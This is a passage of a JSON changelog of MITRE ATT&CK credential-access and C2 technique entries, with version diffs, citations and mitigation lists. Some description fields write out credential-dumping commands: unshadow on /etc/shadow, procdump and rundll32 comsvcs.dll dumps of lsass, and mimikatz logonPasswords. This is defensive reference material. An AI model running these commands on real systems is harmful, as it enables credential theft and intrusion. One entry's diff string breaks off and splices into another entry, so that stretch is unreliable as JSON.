@@\\n-Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\\n-\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \\n-\\n-Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.\"}}}",
"previous_version": "2.4",
"changelog_mitigations": {
"shared": [
"M1030: Network Segmentation",
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0457: Detection of Non-Application Layer Protocols for C2"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:19.735000+00:00",
"modified": "2025-10-24 17:48:22.201000+00:00",
"name": "OS Credential Dumping",
"description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003",
"external_id": "T1003"
},
{
"source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
"description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
"url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
},
{
"source_name": "AdSecurity DCSync Sept 2015",
"description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
"url": "https://adsecurity.org/?p=1729"
},
{
"source_name": "Microsoft DRSR Dec 2017",
"description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
"url": "https://msdn.microsoft.com/library/cc228086.aspx"
},
{
"source_name": "Microsoft NRPC Dec 2017",
"description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
"url": "https://msdn.microsoft.com/library/cc237008.aspx"
},
{
"source_name": "Microsoft GetNCCChanges",
"description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
"url": "https://msdn.microsoft.com/library/dd207691.aspx"
},
{
"source_name": "Microsoft SAMR",
"description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
"url": "https://msdn.microsoft.com/library/cc245496.aspx"
},
{
"source_name": "Powersploit",
"description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
"url": "https://github.com/mattifestation/PowerSploit"
},
{
"source_name": "Samba DRSUAPI",
"description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
"url": "https://wiki.samba.org/index.php/DRSUAPI"
},
{
"source_name": "Harmj0y DCSync Sept 2015",
"description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
"url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
},
{
"source_name": "Brining MimiKatz to Unix",
"description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
"url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Vincent Le Toux",
"Ed Williams, Trustwave, SpiderLabs",
"Tim (Wadhwa-)Brown",
"Yves Yonan"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Access\", \"Process: OS API Execution\", \"File: File Access\", \"Process: Process Access\", \"Command: Command Execution\", \"Active Directory: Active Directory Object Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.201000+00:00\", \"old_value\": \"2025-04-15 22:53:37.617000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"### Windows\\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\\n\\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \\n\\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\\n\\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n\\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\\n\\n### Linux\\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc//etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information, including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nLinux stores user information such as user ID, group ID, home directory path, and login shell in /etc/passwd. A \"user\" on the system may belong to a person or a service. All password hashes are stored in /etc/shadow - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)\n\nAdversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command.(Citation: Arctic Wolf) Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db(Citation: nixCraft - John the Ripper). Since the user information stored in /etc/passwd are linked to the password hashes in /etc/shadow, an adversary would need to have access to both.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/008",
"external_id": "T1003.008"
},
{
"source_name": "Arctic Wolf",
"description": "Julian Tuin, Stefan Hostetler, Jon Grimm, Aaron Diaz, and Trevor Daher. (2024, November 22). Arctic Wolf Observes Threat Campaign Targeting Palo Alto Networks Firewall Devices. Retrieved January 8, 2025.",
"url": "https://arcticwolf.com/resources/blog/arctic-wolf-observes-threat-campaign-targeting-palo-alto-networks-firewall-devices/"
},
{
"source_name": "Linux Password and Shadow File Formats",
"description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.",
"url": "https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html"
},
{
"source_name": "nixCraft - John the Ripper",
"description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.",
"url": "https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.253000+00:00\", \"old_value\": \"2025-04-15 19:59:09.955000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1027: Password Policies"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0446: Credential Access via /etc/passwd and /etc/shadow Parsing"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 15:42:25.991000+00:00",
"modified": "2025-10-24 17:48:54.919000+00:00",
"name": "Cached Domain Credentials",
"description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to obtain the plaintext password.(Citation: Brining MimiKatz to Unix) \n\nWith SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/005",
"external_id": "T1003.005"
},
{
"source_name": "PassLib mscache",
"description": "Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020.",
"url": "https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html"
},
{
"source_name": "ired mscache",
"description": "Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.",
"url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials"
},
{
"source_name": "Microsoft - Cached Creds",
"description": "Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)"
},
{
"source_name": "Powersploit",
"description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
"url": "https://github.com/mattifestation/PowerSploit"
},
{
"source_name": "Brining MimiKatz to Unix",
"description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
"url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Ed Williams, Trustwave, SpiderLabs",
"Tim (Wadhwa-)Brown",
"Yves Yonan"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:54.919000+00:00\", \"old_value\": \"2025-04-15 21:55:45.923000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n\\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n-\\n-Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1015: Active Directory Configuration",
"M1017: User Training",
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1028: Operating System Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0513: Detection of Cached Domain Credential Dumping via Local Hash Cache Access"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:45:34.293000+00:00",
"modified": "2025-10-24 17:49:36.308000+00:00",
"name": "DCSync",
"description": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/006",
"external_id": "T1003.006"
},
{
"source_name": "GitHub Mimikatz lsadump Module",
"description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
"url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"
},
{
"source_name": "ADSecurity Mimikatz DCSync",
"description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.",
"url": "https://adsecurity.org/?p=1729"
},
{
"source_name": "AdSecurity DCSync Sept 2015",
"description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
"url": "https://adsecurity.org/?p=1729"
},
{
"source_name": "Microsoft DRSR Dec 2017",
"description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
"url": "https://msdn.microsoft.com/library/cc228086.aspx"
},
{
"source_name": "Microsoft NRPC Dec 2017",
"description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
"url": "https://msdn.microsoft.com/library/cc237008.aspx"
},
{
"source_name": "Microsoft GetNCCChanges",
"description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
"url": "https://msdn.microsoft.com/library/dd207691.aspx"
},
{
"source_name": "Microsoft SAMR",
"description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
"url": "https://msdn.microsoft.com/library/cc245496.aspx"
},
{
"source_name": "Samba DRSUAPI",
"description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
"url": "https://wiki.samba.org/index.php/DRSUAPI"
},
{
"source_name": "Harmj0y DCSync Sept 2015",
"description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
"url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
},
{
"source_name": "Harmj0y Mimikatz and DCSync",
"description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved September 23, 2024.",
"url": "https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
},
{
"source_name": "InsiderThreat ChangeNTLM July 2017",
"description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
"url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
},
{
"source_name": "Wine API samlib.dll",
"description": "Wine API. (n.d.). samlib.dll. Retrieved November 17, 2024.",
"url": "https://strontic.github.io/xcyclopedia/library/samlib.dll-0BDF6351009F6EBA5BA7E886F23263B1.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"ExtraHop",
"Vincent Le Toux"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Access\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.308000+00:00\", \"old_value\": \"2025-04-15 22:13:04.812000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\\n\\nNote: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\\n-\\n-Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1015: Active Directory Configuration",
"M1026: Privileged Account Management",
"M1027: Password Policies"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0026: Active Directory (Active Directory Object Access)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0594: Detection of Unauthorized DCSync Operations via Replication API Abuse"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 16:22:09.493000+00:00",
"modified": "2025-10-24 17:48:29.945000+00:00",
"name": "LSA Secrets",
"description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/004",
"external_id": "T1003.004"
},
{
"source_name": "Tilbury Windows Credentials",
"description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.",
"url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf"
},
{
"source_name": "ired Dumping LSA Secrets",
"description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.",
"url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets"
},
{
"source_name": "Microsoft AD Admin Tier Model",
"description": "Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.",
"url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN"
},
{
"source_name": "Passcape LSA Secrets",
"description": "Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.",
"url": "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23"
},
{
"source_name": "Powersploit",
"description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
"url": "https://github.com/mattifestation/PowerSploit"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Ed Williams, Trustwave, SpiderLabs"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.945000+00:00\", \"old_value\": \"2025-04-15 22:44:50.491000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1026: Privileged Account Management",
"M1027: Password Policies"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0437: Detection of LSA Secrets Dumping via Registry and Memory Extraction"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:41:44.783000+00:00",
"modified": "2025-10-24 17:48:52.657000+00:00",
"name": "LSASS Memory",
"description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as `comsvcs.dll` can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\nSimilar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for 